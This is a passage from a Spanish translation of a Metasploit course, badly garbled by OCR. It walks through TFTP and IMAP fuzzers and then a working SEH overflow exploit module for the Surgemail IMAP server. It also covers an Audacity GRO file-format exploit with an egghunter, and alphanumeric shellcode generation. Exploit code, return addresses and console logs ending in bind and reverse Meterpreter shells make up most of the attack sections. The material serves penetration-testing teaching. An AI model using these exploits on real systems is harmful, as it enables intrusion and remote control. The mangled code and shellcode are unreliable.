include Msf::Auxiliary::Scanner

def initialize
super(
'Name' =>'3Com TF
'Version' => '$Revisi

'‘Description’ =>'3Com TF
Transport Mode String’,
‘Author’ =>"'Your na
‘License' => MSF_LICE
)
register_options( [
Opt::RPORT(69)
], self.class)
end
def run_host(ip)
# Create an unbound UDP socket
udp_sock = Rex::Socket::Udp.create(
'‘Context’ =>

'Msf'
'MsfExploit'
}

count = 10 # Set an initial count
while count < 2000 # While the coun
evil ="A" * count # Set a
pkt = "\x00\x02" + "\x41" +

the payload
udp_sock.sendto(pkt, ip, dat
print_status("Sending: #{evi
resp = udp_sock.get(1) # Ca
count += 10 # Increase coun

end
end
end

TP Fuzzer',
on: 19,
TP Fuzzer Passes Overly Long

me here’,
NSE

=> framework,
=> self,

tis under 2000 run
number of "A"s equal to count
"\x00" + evil + "\x00" # Define

astore[[RPORT') # Send the packet
[}") # Status update

pture the response

t by 10, and loop

Bastante honrado. Deja lo dirige y ven lo que pasa.

http://www.offensive-security.com/msf/EIP _Overwrite.ipg
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Y tenemos un accidente! El fuzzer trabaja comorasioe Mientras esto puede parecer simple en laficipeuna cosa de
considerar es el cédigo reutilizable que esto mogge. En nuestro ejemplo, la estructura de carbfué definida para nosotros,
salvandonos tiempo, y permitiéndonos ponerse dineehte al fuzzing mas bien que investigar el patodEsto es muy potente,
y es una ventaja escondida del marco.

Obtenido de "http://www.metasploit-es.com.ar/wiki/index.php/Simple Fuzzer TFTP"

6.2 Simple Fuzzer IMAP

Simple Fuzzer IMAP

Durante una sesion de reconocimiento de vulnedaiés descubrimos un servidor de correo IMAP qsalse que es vulnerable
a un ataque de deshordamiento de bufer (SurgerBad-8). Hemos encontrado un aviso para la vulnikaald, pero no se puedo
encontrar ningin metodo de explotacion trabajamda base de datos Metasploit ni en Internet. Er@snlecides escribir tu
propia explotacién a partir de una simple fuzzeARM

Desde el asesoramiento en esto sabemos que el@domalnerables es IMAP LIST y necesita credenciaddislas para explotar
la solicitud. Como hemos visto anteriormente, ahdiarsenal de la coleccion" presente en MSF nedgayudar de forma
rapida secuencia de comandos de cualquier protdeoted y el protocolo IMAP no es una excepciom.dpemplo MSF::
Exploit:: Remote:: IMAP nos ahorrara mucho tiempe.hecho, la conexion con el servidor IMAP y realila autenticaciéon de
pasos necesarios para fuzz el comando vulneradesjlo cuestion de unas cuantas lineas de combAdas esté el codigo

#t

# Este archivo forma parte del Marco de Metasploit y puede ser objeto de
# redistribucion y restricciones comerciales. Por f avor vea el sitio de

# Metasploit para mas informacién sobre licencias y condiciones de uso.
# http://metasploit.com/framework/

#t

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::Imap
include Msf::Auxiliary::Dos

def initialize
super(
‘Name' =>'Simple IMAP Fuzzer !,
'‘Description’  => %q{
An example of how t o build a simple IMAP fuzzer.
Account IMAP creden tials are required in this fuzzer.
3
‘Author’ => [ 'ryujin'],
'License’ => MSF_LICENSE,
"Version' => '$Revision: 1 $'
)
end
def fuzz_str()
return Rex::Text.rand_text_alphanumeric(ran d(1024))
end
def run()
srand(0)
while (true)

connected = connect_login()

if not connected
print_status("Host is not respondin g - this is GOOD ;)")
break

end




print_status("Generating fuzzed data... "
fuzzed = fuzz_str()
print_status("Sending fuzzed data, buff er length = %d" % fuzzed.length)
req ='0002 LIST () "/ + fuzzed + ™" PWNED™ + "\r\n"
print_status(req)
res = raw_send_recv(req)
if I'res.nil?
print_status(res)
else
print_status("Server crashed, n 0 response")
break
end
disconnect()
end
end
end

Overiding the run() nuestro cddigo se ejecutara cada vez que el usuario llama a "run" de msfconsole. En el while loop within
run(), os conectamos con el servidor IMAP y autenticar a través de la funcidn connect_login() importado de
Msf::Exploit::Remote::Imap. Entonces llamamos a la funcion fuzz_str() que genera un tamafio variable de amortiguamiento
alfanuméricos que va a ser enviado como un argumento del comando LIST IMAP a través de la funcion raw_send_recv.
Guardamos el archivo anterior en el auxiliary/dos/windows/imap/ subdirectorio / IMAP y cargarla desde msfconsole como
siguiente paso.

msf > use auxiliary/dos/windows/imap/fuzz_imap
msf auxiliary(fuzz_imap) > show options

Module options:

Name  Current Setting Required Description

IMAPPASS no The passwor d for the specified username
IMAPUSER no The usernam e to authenticate as

RHOST yes The target address

RPORT 143 yes The target port

msf auxiliary(fuzz_imap) > set RHOST 172.16.30.7
RHOST =>172.16.30.7

msf auxiliary(fuzz_imap) > set IMAPUSER test
IMAPUSER => test

msf auxiliary(fuzz_imap) > set IMAPPASS test
IMAPPASS => test

Ahora estamos listos para la pelusa de las persat@arables servidor IMAP. Atribuimos el procesoglirgemail.exe
ImmunityDebugger y comenzar nuestra sesiéon derigzzi

msf auxiliary(fuzz_imap) > run

[*] Connecting to IMAP server 172.16.30.7:143...

[*] Connected to target IMAP server.

[*] Authenticating as test with password test...

[*] Generating fuzzed data...

[*] Sending fuzzed data, buffer length = 684

[*] 0002 LIST () /"vIAD7DnITVYkXGYYM6BmMnXL[...]" "P WNED"

[*] Connecting to IMAP server 172.16.30.7:143...

[*] Connected to target IMAP server.

[*] Authenticating as test with password test...

[*] Generating fuzzed data...

[*] Sending fuzzed data, buffer length = 225

[*] 0002 LIST () /"ILdnxGBPh1AWt57pCvAZfiL[...]" "P WNED"




[¥] 0002 OK LIST completed

[*] Connecting to IMAP server 172.16.30.7:143...

[*] Connected to target IMAP server.

[*] Authenticating as test with password test...

[*] Generating fuzzed data...

[*] Sending fuzzed data, buffer length = 1007

[*] 0002 LIST () /"FzwJjlcL16vW4PXDPpJV|...]JgaDm" " PWNED"

[*]

[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.

[*] Authenticating as test with password test...

[*] Authentication failed

[*] Host is not responding - this is GOOD ;)

[*] Auxiliary module execution completed

MSF nos dice que el servidor IMAP probablementesteopeado y ImmunityDebugger confirma como servia émagen
siguiente:

& Immunity Debugger - surgemail.exe - [CPU - thread 00000BD8, module surgemai]

File View Debug Plugins Immlib Options Window Help Jobs
R TR MX Il WYl 1l emtwhcPkobD
24D B¢ ] [ : P=4C]

uraemai.g

[01:58:57] Access violation when reading [B7567419] - use Shift+F7/F8/F3 to pass exception to program Pauged




7 Desarrollando Exploits

Desarrollando Exploits

En el siguiente capitulo vamos a cubrir uno demas conocidos y populares aspectos del Frameweskyibllo de exploits. En
la siguiente seccién vamos a ver como utilizarahtework para permitir el desarrollo de exploitenmendo concentrase de
una forma Unica en el exploit, y hace que otraasoemo payload, codificacion, generacion de ngpfemereation) y asi solo
cuestion de infraestructura. Debido a la gran dadtide exploits actualmente disponibles en Metésply una buena
oportunidad de que ya exista un modulo que simpienge pueda editar para sus propios fines duehdtesarrollo de exploits.
Para hacer el desarrollo del exploit mas facil Mel@it incluye un exploit de ejemplo el cual uspgee:de modificar, puede
encontrarlo en: ‘documentation/samples/modulesséspl

Obtenido de "http://www.metasploit-es.com.ar/wiki/index.php/Desarrollando Exploits"

7.1 Escribiendo un Exploit

Escribiendo un Exploit

Hacer que algo salga "BOOM":

Previamente vimos fuzzing a un servidor IMAP esdacion simple fuzzer IMAP. Al final de ese esfoerz
nos encontramos con que se podia sobrescribihatfendo ESP el Unico registro que apunta a una
ubicaciéon de memoria bajo nuestro control (4 bgespués de nuestra direccion de retorno).Podergas se
adelante y reconstruir nuestro bufer (fuzzed = "WB4 + "B"*4 + "C"*4) para confirmar que el flujo
ejecucion es re-direccionable a través de la disac JMP ESP como un ret.

msf auxiliary(fuzz_imap) > run

[*] Connecting to IMAP server 172.16.30.7:143...

[*] Connected to target IMAP server.

[*] Authenticating as test with password test...

[*] Generating fuzzed data...

[*] Sending fuzzed data, buffer length = 1012

[*] 0002 LIST () "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA] ...|BBBBCCCC" "PWNED"
[*] Connecting to IMAP server 172.16.30.7:143...

[*] Connected to target IMAP server.

[*] Authenticating as test with password test...

[*] Authentication failed

[*] It seems that host is not responding anymore an d this is GOOD ;)
[*] Auxiliary module execution completed

msf auxiliary(fuzz_imap) >

Controlando el flujo de ejecucion:

Ahora tenemos que determinar el offset correcta phtener la ejecucion de codigo. Afortunadamente,
Metasploit, viene al rescate con dos muy buenéidades: pattern_create.rb y pattern_offset.rb. Asnibe
estos scripts estan localizados el directorio Metéistools'. Mediante la ejecucion de patternateab, el
script generara una cadena de texto compuestagppatrones unicos que podriamos utilizar para para
remplazar nuestra secuencia de 'A's.



root@bt4:~# /pentest/exploits/framework3/tools/patt ern_create.rb 11000
AaOAalAa2Aa3AadAa5AabAa7’Aa8Aa9Ab0Ab1Ab2Ab3Ab4AL5Ab6 Ab7ADBADSACOA
C1Ac2Ac3Ac4Ac5AC6ACTACBACIAdOAdIAd2Ad3Ad4Ad5Ad6Ad7A dBAd9Ae0AelAe2
Ae3Aed4Ae5Aeb6Ae7AeB8AeIATOAFLAT2AF3AFAATSAT6AT7ATBATI Ag0AglAg2Ag3Ag4Agsl...]

Después de que hemos logrado sobrescribir el EIFS&H (o cualquier registro que este destinadel)echos tomar nota del
valor contenido en el registro y la alimentacioredte valor a pattern_offset.rb para determinajugnpunto de la cadena
aleatoria el valor aparece. En lugar de llamarlanén de comandos pattern_create.rb,vamos a llaneasubyacente API
directamente en nuestro fuzzer utilizando el Rextpattern_create(). Si nos fijamos en la fugmdelemos ver cdmo se llama
esta funcion.

def self.pattern_create(length, sets = [ UpperAlpha , LowerAlpha, Numerals ])
buf ="
idx=0
offsets =[]

sets.length.times { offsets << 0 }
until buf.length >= length
begin
buf << converge_sets(sets, 0, offsets, length)
rescue RuntimeError
break
end
end
# Maximum permutations reached, but we need more data
if (buf.length < length)
buf = buf * (length / buf.length.to _f).ceil
end
buf[0,length]
end

Asi vemos que llamamos la funcion pattern_createi@l tendra en la mayoria dos parametros el tamlefiolifer que estamos
buscando para crear y un segundo parametro opcjaraios da cierto control sobre el contenido dedmoria intermedia. Asi
que para nuestras necesidades, vamos a llam#ureclén y sustituir la variable fuzzed con:

fuzzed = Rex::Text.pattern_create(11000).

Esto hace que nuestro SEH a ser sobrescrito p@4&3368 y basado en el valor devuelto por pattdfsetab, podemos
determinar que los bytes que sobrescribe nuestnejador de excepciones son los proximos cuatresiy@861, 10362, 10363,
10364.

root@bt4:~# /pentest/exploits/framework3/tools/patt ern_offset.rb 684E3368 11000
10360

Como sucede a menudo en los ataques de desbortiagueerflow) de SEH, ahora tenemos que encontrd?@P POP RET
(otras secuencias son buenas, asi como se expladefeating the Stack Based Buffer Overflow Brégion Mechanism of
Microsoft Windows 2003 Server" Litchfield 2003) eacion, a fin de redirigir el flujo de ejecuciémaestro Buffer. Sin embargo,
la busqueda de una direccién de retorno adecuasiargemail.exe, obviamente, nos lleva al problentaetrado anteriormente,
todas las direcciones tienen un byte nulo.

root@bt4:~# /pentest/exploits/framework3/msfpescan -p surgemail.exe
[surgemail.exe]

0x0042e947 pop esi; pop ebp; ret

0x0042f88b pop esi; pop ebp; ret

0x00458e68 pop esi; pop ebp; ret

0x00458edb pop esi; pop ebp; ret

0x00537506 pop esi; pop ebp; ret

0x005ec087 pop ebx; pop ebp; ret

0x00780b25 pop ebp; pop ebx; ret

0x00780c1e pop ebp; pop ebx; ret




0x00784fh8 pop ebx; pop ebp; ret
0x0078506€e pop ebx; pop ebp; ret
0x00785105 pop ecx; pop ebx; ret

0x0078517e pop esi; pop ebx; ret

Afortunadamente esta vez tenemos un remoto acezntorde ataque para tratar en la forma de unasofitga parcial,
desbordando el SEH con sélo los 3 bytes mas sigtiifos de la direccidén de retorno. La diferenciaee esta vez podemos
poner nuestro shellcode dentro de la primera pft8uffer después de un esquema como el siguiente:

| NOPSLED | SHELLCODE | NEARJMP | SHORTJMP | RET (3 Bytes) |

POP POP RET nos re-direccionara 4 bytes antes @ed@ide vamos a colocar un JMP corto que nos dexdl bytes.
Entonces tendremos un JMP hacia atras que nosdleweel centro de la NOPSLED. Esto no fue posibleacer con una
sobrescritura parcial del EIP y el ESP, como debidworeglo de pila ESP fue de cuatro bytes despeidsiestra RET. Si
hiciéramos una sobrescritura parcial de la EIP, &8&ia en una area incontrolable.

Obtenido de "http://www.metasploit-es.com.ar/wiki/index.php/Escribiendo un Exploit"

7.1.1 Obteniendo una Shell

Obteniendo una Shell

Con que hemos aprendido, escribimos la proezagilamos a windows/imap/surgemail_list.rb. Usted
puede descargar la proeza adpttp://www.offensive-security.com/msf/surgemailt.lis.

1.
1.
2. This file is part of the Metasploit Framework and may be subject to
3. redistribution and commercial restrictions. Please see the Metasploit
4. Framework web site for more information on licensing and terms of use.
5. http://metasploit.com/projects/Framework/

1.

require 'msf/core’

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Imap

def initialize(info = {})
super(update_info(info,

‘Name' =>'Surgemail 3.8k4-4 | MAPD LIST Buffer Overflow',

'Description’  => %q{
This module exploits a stack overflo w in the Surgemail IMAP Server
version 3.8k4-4 by sending an overly long LIST command. Valid IMAP
account credentials are required.
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'Author’ => [ 'ryujin'],

'License’ => MSF_LICENSE,

'Version' => '$Revision: 1 $',




'References’ =>

['BID', '28260'],
[ 'CVE, '2008-1498' ],

['URL",' http://www.milwOrm.com/exploits/5259' 1s

]l
'Privileged’ => false,
'‘DefaultOptions' =>

{
12

'‘Payload' =>

{

'‘EXITFUNC' => 'thread’,

'Space’ => 10351,
'EncoderType' => Msf::Encoder::T
'DisableNops' => true,
'‘BadChars' =>"\x00"
3
'Platform’ =>'win',
‘Targets' =

[ 'Windows Universal', { 'Ret' =
0x0078517e
P
'DisclosureDate’ => 'March 13 2008',
'DefaultTarget' => 0))
end

ype::AlphanumMixed,

> "\x7e\x51\x78" } ], # p/p/r

def check
connect
disconnect
if (banner and banner =~ /(Version 3.8k4-4)/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def exploit
connected = connect_login
nopes = "\x90"*(payload_space-payload.encode

make_nops()
sjump = "\XEB\XF9\x90\x90"  # Jmp Back
njump = "\XE9Q\xDD\XD7\XFF\xFF" # And Back Ag
evil = nopes + payload.encoded + njump + sju
print_status("Sending payload")
sploit = '0002 LIST () "/ + evil + " "PWNE
sock.put(sploit)
handler
disconnect

end

end

d.length) # to be fixed with

ain Baby ;)
mp + [target.ret].pack("A3")

D™ + "\An"

Las cosas més importantes de notar en el cédigoi@nson lo siguiente:




* Definimos el espacio maximo para el shellcode (Es pacio => 10351) e hicimos que el rasgo de DisableNo ps

incapacitara el acolchado de shellcode automatico, rellenaremos la carga til en nuestro propio.

* Ponemos el codificador de falta al AlphanumMix ed debido a la naturaleza del protocolo IMAP.

* Definimos nuestra MUSICA POP DE MUSICA POP de 3 bytes direccion de vuelta de RET que sera referid a
entonces por la variable target.ret.

* Definimos una funcion de control que puede com probar la bandera de servidor IMAP a fin de identif icar a
un servidor vulnerable y una funcién de proeza que obviamente es el que que hace la mayor parte del tr abajo.

Vaya a ver si esto trabaja:

msf > search surgemail
[*] Searching loaded modules for pattern ‘surgemail

Exploits
Name Description
windows/imap/surgemail_list Surgemail 3.8k4-4 IMAP D LIST Buffer Overflow

msf > use windows/imap/surgemail_list
msf exploit(surgemail_list) > show options

Module options:

Name  Current Setting Required Description

IMAPPASS test no The password f or the specified username
IMAPUSER test no The username t o authenticate as

RHOST 172.16.30.7 yes The target add ress

RPORT 143 yes The target por t

Payload options (windows/shell/bind_tcp):

Name  Current Setting Required Description

EXITFUNC thread yes Exit technique : seh, thread, process
LPORT 4444 yes The local port

RHOST 172.16.30.7 no The target add ress

Exploit target:

Id Name

0 Windows Universal

Algunas opciones son configuradas ya de nuesti@nsasterior (ver IMAPPASS, IMAPUSER y RHOST poemjplo). Ahora
comprobamos la version de servidor:

msf exploit(surgemail_list) > check

[*] Connecting to IMAP server 172.16.30.7:143.] Connected to target IMAP server. [+] The targetulnerable.

iSi! Ahora vaya a dirigir la proeza que ata a lpudlacion al surgemail.exe proceso para ver sifigpemsacion para superponer
SEH es correcta:



root@bt:~$ ./msfcli exploit/windows/imap/surgeméist PAYLOAD=windows/shell/bind_tcp RHOST=172.16.30
IMAPPWD=test IMAPUSER-=test E [*] Started bind haed[*] Connecting to IMAP server 172.16.30.7:148].Connected to
target IMAP server. [*] Authenticating as test wihssword test... [¥] Sending payload

http://www.offensive-security.com/msf/EXPLOIT04B.png
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[0F:20:31] Access violation when reading [S03090E0] - uze Shift+F7/FS/F3 to pazs exception to program Fauzed

La compensacion es correcta, podemos poner ahdiaite de facturacion en nuestra direccion de teuiel

http://www.offensive-security.com/msf/EXPLOITO4A.png
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Ahora podemos desviar el flujo de ejecucién en nuestro parachoques ejecutando el POP & POP instrucciones de RET:

http://www.offensive-security.com/msf/EXPLOIT06.png

y Debugger - surgemail.exe - [ thread 0000090

File WYiew Debug Plugins Immlib Options  Window  Help  Jobs

T EE X PNl b HR2li+ 1 emtwhc|lPkbz

a | Begisters [FFU)

o
M =TT

Do M mmmmmmmm
—

D e

L AELEE X X X X

mmMmmmMmMMmmMMmmMMmmMmmmmmmmmmmmmm
F I

Pauzed

y finalmente ejecute los dos saltos en la pila que nos conseguird dentro de nuestro deslizador de NOP’s:

http://www.offensive-security.com/msf/EXPLOITO7.png
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Hasta ahora, bien, tiempo para conseguir nuestia@de Meterpreter, vaya a dirigir de nuevo depa sin la depuracién:
msf exploit(surgemail_list) > set PAYLOAD windowsgterpreter/bind_tcp PAYLOAD => windows/meterprevard_tcp msf
exploit(surgemail_list) > exploit

[*] Connecting to IMAP server 172.16.30.7:143.] $tarted bind handler [*] Connected to target IMgétver. [*]
Authenticating as test with password test... [*h&eag payload [*] Transmitting intermediate stafmrover-sized stage...(191
bytes) [*] Sending stage (2650 bytes) [*] Sleepligjore handling stage... [*] Uploading DLL (7578ytés)... [*] Upload
completed. [*] Meterpreter session 1 opened (17.2(.84:63937 -> 172.16.30.7:4444)

meterpreter > execute -f cmd.exe -c -i Processc@ated. Channel 1 created. Microsoft Windows XBrfibn 5.1.2600] (C)
Copyright 1985-2001 Microsoft Corp.

c:\surgemail>

iExito! Tenemos fuzzed un servidor vulnerable ystarimos una proeza de encargo usando los rasgogessos ofrecidos por
Metasploit.

7.2 Usando el Egghunter-Mixin

Usando el Egghunter-Mixin

El MSF egghunter mixin es un maravilloso modulo guede ser de gran utilidad en el desarrollo déo#xfi no estas
familiarizado con el concepto de egghunter, lee.est

Una reciente vulnerabilidad en Audacity Audio Editos da una oportunidad para examinar este mixgran profundidad. En
el modulo siguiente, exploraremos Audacity y cre@re un modulo exploit para eso, con un formatordeieo de Metasploit.
No, nos enfocaremos en el metodo de explotacia emn la teoria detras de ella, pero nos sun@rgis directo a la practica
del Egghunter mixin.

1. Descarga e instala el software vulnerable etPusP2 de caja.

http://www.offensive-security.com/archive/audaaitin-1.2.6.exe

http://www.offensive-security.com/archive/LADSPAupins-win-0.4.15.exe

2. Descarga y examina el original POC, tomado degt®//milwOrm.com/exploits/7634

Portando el PoC

Vamos a portar este POC para un formato de arcldwdSF de modulo de exploit. Podemos usar un enesteodulo para
obtener un plantilla general. El exploit zinfauday@r221_pls.rb nos proporciona un buen comienzo.

Nuestro esqueleto del exploit debe ser similat@ &ote que nuestro buffer se generara aqui:

def exploit

buff = Rex::Text.pattern_create(2000)

print_status("Creating '‘#{datastore['FILENAME']} f ile ...")
file_create(buff)

end

Usamos Rex::Text.pattern_create(2000) para cremunita cadena de 2000 bytes para seguir la ubitaci el depurador.



Una vez que tenemos portado el POC, generamoshé/arde exploit y lo transferimos a nuestro WindoWwse el payload
generic/debug_trap para empezar.

root@bt4:/pentest/exploits/framework3# ./msfconsole

=[ metasploit v3.3-testing [core:3.3 api:1.0]
+ -- --=[ 399 exploits - 246 payloads

+ -- --=[ 21 encoders - 8 nops

=[ 182 aux

msf exploit(audacity) > show options
Module options:
Name Current Setting Required Description

FILENAME evil.gro yes The file name.
OUTPUTPATH /var/lwww yes The location of the file.

Payload options (generic/debug_trap):

Name Current Setting Required Description

Exploit target:

0 Audacity Universal 1.2

msf exploit(audacity) > exploit

[*] Creating 'evil.gro' file ...

[*] Generated output file /var/www/evil.gro

[*] Exploit completed, but no session was created.
msf exploit(audacity) >

Abriremos Audacity, adjuntamos un depurador e importamos el archivo gro MIDI.

& Audacity !E
File Edit View | Project Generate Effect Analyze Help
|
E I e i Import Audia... Ctrl+
- =
z Import Labels. .. »
E p\u Irnport MIDL, .,
e Irnpott Raw Data. .. [
“R
| —————— EditID3Tags... T T T T .|
| A = -45 -5 36 -30 24 12 60
=————— CQuickMix
E I D I NS =]
= Mew Audio Track I
z Mew Stereo Track /9‘
I Mew Label Track ] 40

Mew Time Track

Remave Tracks

Align Tracks... 3
Align and move cursor, ., 3

————————  pddLabel A Selection Ctrl+E
fdd Label At Playback Position Ctrl+M

Project rate; 44100 |Cursor: 0:00.000000 minsec  [Snap-To Off]

Inmediatamente obtenemos una excepcion en Audacity, y las pausas del depurador:




& Immunity Debugger - audacity.exe - main thread, module audac
File ‘iew Debug Plugins Immlibk Options ‘Window Help  Jobs - | ﬂ

™ T X b Il ML+ 1l emtwhcPkDbozr..
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[13:02:43] Access violation when wiiting to [26BDEI21] - uze Shift+F7/F8/FT to pass exception to progr Pauzed

Una mirada rapida a la cadena SEH demuestra que hemos sobrescrito un manejador de excepciones.

SEH chain of main thread =]
.

Hddress

Tomamos la exepcion (shift + F9), y vemos lo siguiente:



a; Immunity Debugger - audacity.exe - - main thread]
File “iew Debug Plugins Immlibh Options Mindow  Help  Jobs - ﬁ’|ﬂ
TR EE X r I MEZE+ | emtwhcecPkbzr

Fegisters (FFUI
En

. BSCII "AFEA
i UMICODE "fop=e™

[13:53:52] Access violation when executing [67413966] - uze Shift+F7/F3/F3 to pazz exception bo progi Favized

7.2.1 Completando el Exploit

Completando el Exploit

Encontrando la direccion Return

Este es un desbordamiento SEH estandar. Podenaygjoet algunos de los usuarios introducira un "pop, ret" lejos de la
pila. Algo interesante que notar de la capturaateglla de abajo es el hecho que enviamos 2008 bytel payload. Sin
embargo, pareciera que cuando regresamos al bsdgfétancara. Tenemos alrededor de 80 bytes deieq@aa nuestro codigo
shell (marcado en azul). Usamos la funcion !safdeelmmunity para localizar las dlI's desprotegidasde el cual la direccion
de retorno puede ser encontrada.

Log data M=l
e

Address | Me
[ -




Copiamos encima el DLL y buscamos una instruccambianda de POP POP RET usando msfpescan.

root@bt4:/pentest/exploits/framework3# ./msfpescan -p libfftw3f-3.dll

[libfftw3f-3.dll]

0x637410a9 pop esi; pop ebp; retn 0x000c
0x63741383 pop edi; pop ebp; ret
0x6374144c pop edi; pop ebp; ret
0x637414d3 pop edi; pop ebp; ret

0x637f597b pop edi; pop ebp; ret
0x637f5bb6 pop edi; pop ebp; ret

root@bt4:/pentest/exploits/framework3#

PoC para Exploit

Mientras usamos la funcion pattern_create para etdauffer inicial, podemos ahora calcular la lbnd
del buffer necesaria para sobrescribir el manejddaxcepciones.

root@bt4:/pentest/exploits/framework3/tools# ./patt ern_offset.rb 67413966
178
root@bt4:/pentest/exploits/framework3/tools#

Modificamos el exploit como corresponde introdudemina direccion valida de retorno.

[ '‘Audacity Universal 1.2 ', { 'Ret' => 0x637410A9} 1,

Ahora ajustamos el buffer para redirigir el flu@ ld ejecucion al momento del error hacia la dicetde
retorno, salta sobre de el (XEB es un "salto chstdiego cae en el punto de interrupcion del bu€C).

def exploit

buff = "\x41" * 174

buff << "\xeb\x06\x41\x41" buff << [target.ret].pac k('V") buff << "\xCC" * 2000 print_status("Creating
‘#{datastore[ FILENAME'} file ...") file_create(b uff) end

Una vez mas, generamos el archivo de exploit, salulo Audacity al depurador y importando el archmaticioso. En este
momento, el SEH deberia sobrescribir la direcd®mgue nos llevara a la instruccion pop, pop,Establecemos un punto de

interrupcion alli, y una vez mas, tomamos la ex@@pcon shift + F9 y caminamos a travez de popngbpon F8

SEH chain of main thread - [O
i

El salto corto nos lleva a la direccion de retoaentro del "codigo shell del buffer".
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Otra vez, tenemos muy poco espacio de buffer paratro payload. Una rapida inspeccion de la memeviela que la longitud
del todo el buffer puede ser encontrada en el nmoi8abiendo esto, podriamos utilizar los 80 bytésdles de espacio para
ejecutar un egghunter, lo que buscara y encorgtgrayload secundario.
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Implementar el MSF egghunter es relativamente:facil



def exploit
hunter = generate_egghunter
egg = hunter[1]

buff = "\x41" * 174

buff << "\xeb\x06\x41\x41" buff << [target.ret].pac k('V") buff << "\x90"*4 buff << hunter[0] buff << " \xCcC"
* 200 buff << egg + egg buff << payload.encoded pri nt_status("Creating '#{datastore[FILENAME'} file )
file_create(buff) end

El exploit final debe ser parecido a estip://www.offensive-security.com/msf/audacity.rb

Ejecutamos el exploit final a traves de un depurpadoa estar seguros que todo esta bien. Podemgsieel egghunter ha sido
implementado correctamente y funciona perfectamente

& Immunity Debugger - audacity.exe - [CPU - main thread]
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Usamos el exploit final:

root@bt4:/pentest/exploits/framework3# ./msfconsole

=[ msf v3.3-dev

+ -- --=[ 397 exploits - 239 payloads
+ -- --=[ 20 encoders - 7 nops

=[ 181 aux

msf > search audacity
[*] Searching loaded modules for pattern 'audacity’

Exploits

windows/fileformat/audacity Audacity 1.2.6 (GRO Fil e) SEH Overflow.

msf > use windows/fileformat/audacity
msf exploit(audacity) > set PAYLOAD windows/meterpr eter/reverse_tcp




PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(audacity) > show options

Module options:

Name Current Setting Required Description

FILENAME auda_evilL.gro yes The file name.
OUTPUTPATH /pentest/exploits/framework3/data/exploi

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
EXITFUNC thread yes Exit technique: seh, thread, pr
LHOST 192.168.2.15 yes The local address

LPORT 4444 yes The local port

Exploit target:

0 Audacity Universal 1.2

msf exploit(audacity) > exploit

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Creating 'auda_eviL.gro' file ...

[*] Generated output file /pentest/exploits/framewo
[*] Exploit completed, but no session was created.

ts yes The location of the file.

ocess

rk3/data/exploits/auda_eviL.gro

Y obtenemos una shell meterpreter!

msf exploit(audacity) > use multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpre

PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.2.15
LHOST =>192.168.2.15

msf exploit(handler) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler

[*] Starting the payload handler...

[*] Sending stage (718336 bytes)

[*] Meterpreter session 1 opened (192.168.2.15:4444

meterpreter >

ter/reverse_tcp

->192.168.2.109:1445)

Aqui encontraran un video de Immunity pasando péureionamiento de un exploit:

http://www.youtube.com/watch?v=LfgAXfAWQXM

7.3 Shellcodes-alfanuméricas




Shellcodes-alfanuméricas

Hay casos donde necesita obtener un codigo sfetiumherico puro porque la aplicacion explotadasfilbs caracteres. MSF
puede generar un codigo shell alfanumerico facifeea travez de msfencode. Por ejemplo, para gemeraezcla alfanumerica
de mayusculas y minisculas codificada, podemoselsaguiente comando:

rootfbt4:/pentest/exploits/framework3f ./msfpayload windows/shell/bind tcp R | ./msfencode -e x86/alpha mixed
[*] xBE/alpha_mixed succeeded with =size 659 (iteration=l1)

unsigned char buf[] =

"8\ xe2 \ xdb\ xdb\ xd 3\ x T2\ xf4V x50\ x40\ k49, 849, x40\ x40, 149 k49"
WAV CIAV LAY CLAS TRV ERAS TRV CRAVERAP CEAVTEAV AV CRAVEEAS GEAV-CH
M xSB\x50A\ k30 K41\ x30 x4 1\ x6b\ x4 1\ x41 x5\ k32 x4 1\ x4 2\ k32 x42"
M4\ %30\ k42 \ X422\ x41\ X942\ 5B\ X504 X338\ x4 1\ x424 X T5\ x4a\ k49 \ x4b"
Mixdchxdd\ X338\ x4\ x4\ 45\ K50\ ¥45 \ x50\ k45 ®50 \ ¥4 3 \ x50\ x4d\ x59"
Myxddh 35\ K50 K31\ x4\ k42 \ X422\ w44 \ x4\ R4b\ X504\ X522\ x50\ ®30\ x4c"
"xdbh x5\ k42 \ k44 \ x4\ x4\ xeb k51 \ k42 \ 45\ k44 \ x4c\ x4b 44\ k32"
"x51Nx38\ k44 \ x4\ x4e\ x5\ K50 k42 \ x4 T\ 56\ X246 K51\ x4b \ R4E\ x50"
"I\ x4\ x50\ K4e \ x4\ x4 T\ X2ch X433\ x51\ 843\ R4ch k45 \ k52 \ 46 \ R4c"
"RETA XS0\ X4 K51\ k48 \ x4\ x44  x4d \ x43\®R31\ K48\ ¥4 T\ x4b\ RS2\ R4a"
"xE0AxE1\R4INKE0N\ K5 T\ x4\ x4b x4 6\ x32\ 842\ k30 \ xdc\ x4b\ R4 T\ 832"
Mad T ad e\ w45 x5 wde\ k30 wd o a4 Th 30 44 w38\ wdd w55 wa e
M x50\ k44 \ k34 \ x50\ x4a\ k45 \ 51\ x48 x50 x50\ x50 x4ch x4b\ x50 k48"
Mg 4\ 58\ 4o x4b\ k51 \ k4B \ K51\ K30\ x43\ 31\ R4\ k33 \ u4b\ R53\ k47"
Mixdoh 51\ K5\ x4\ x4b \ x4 \ K54\ w4c \ x4b\ 45\ R51\xde \ x38\ 50\ K31
"ixdbhxd x4\ k51 x4\ x50\ xde x4\ x4\ k51 \ k48 \ x4 £\ x4\ xad k45"
" 51N x4 XSTARE0N\ X388\ x4d \ X304 x4 2\ x55\ R4c\ X34\ k45 \ X533\ 43\ x4d"
"\ xdchx38\ x4 T\ x4b\ k43 \ x4d \ 514 X34\ x43\ 45\ x4b\ k52 \ x51\ 48\ x4c"
" xabh\x51\ K48\ X4 T\ k54 \ k45 \ X514 x99\ x43\ 842\ R26 \ x4c \ x4b\ 44\ R4c"
"\ x50\ x4b\ x4ch\ X4b\ x50\ x58 \ X454 X4c\ x43\ 831\ X484 k53 x4c\ 4D\ R43"
